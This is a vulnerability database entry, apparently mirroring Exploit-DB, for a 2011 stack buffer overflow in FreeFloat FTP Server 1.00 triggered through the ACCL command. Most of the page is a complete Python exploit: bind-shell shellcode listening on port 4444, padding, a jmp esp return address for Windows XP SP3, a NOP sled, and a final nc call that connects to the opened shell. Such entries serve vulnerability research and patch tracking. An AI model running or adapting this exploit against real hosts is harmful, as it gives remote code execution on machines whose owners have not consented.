FreeFloat FTP Server ACCL Buffer Overflow Exploit

vendor:

FreeFloat FTP Server

by:

mortis

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FreeFloat FTP Server

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE:

CPE: a:freefloat:freefloat_ftp_server:1.00

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3 English

2011

FreeFloat FTP Server ACCL Buffer Overflow Exploit

This exploit allows an attacker to execute arbitrary code by sending a specially crafted ACCL command to the FreeFloat FTP Server. The vulnerability occurs due to a buffer overflow in the server's handling of ACCL commands. By sending a long string of characters as the argument to the ACCL command, an attacker can overwrite the stack and gain control of the server's execution flow. This exploit opens a listener shell on port 4444.

Mitigation:

The vendor has released a patch for this vulnerability. Users are advised to update to the latest version of FreeFloat FTP Server to mitigate the risk of exploitation.

Source

Exploit-DB raw data:

#!/usr/bin/python
#
#[+]Exploit Title: FreeFloat FTP Server ACCL Buffer Overflow Exploit
#[+]Date: 19\06\2011
#[+]Author: mortis
#[+]Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
#[+]Version: 1.00
#[+]Tested On: Windows XP SP3 English
#[+]CVE: N/A
#

from socket import *
import sys, struct, os

def sploit(host, port):
	#open listener shell on port 4444

	sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
	sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
	sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
	sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
	sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
	sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
	sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
	sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
	sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
	sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
	sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
	sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
	sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
	sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
	sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
	sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
	sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
	sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
	sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
	sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
	sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
	sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
	sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
	sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
	sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

	padding = "A"*246
	sled = "\x90"*20
	jmpesp = struct.pack('<L',0x7C874413) #jmp esp winxp3 
	 
	sploit = padding + jmpesp + sled + sc
	s = socket(AF_INET,SOCK_STREAM)
	s.connect((host,port))
	s.recv(1024)
	s.send("USER test\r\n")
	s.recv(1024)
	s.send("PASS test\r\n")
	s.recv(1024)
	s.send("ACCL "+sploit+"\r\n")
	s.close()

if __name__ == '__main__':        
	if (len(sys.argv) < 3):
		print "\nUsage: freefloat.py <host> <port> \n"
		sys.exit()
	else:
		host = sys.argv[1] 
		port = sys.argv[2]
		sploit(host, int(port))
		os.system("nc " + host + " 4444")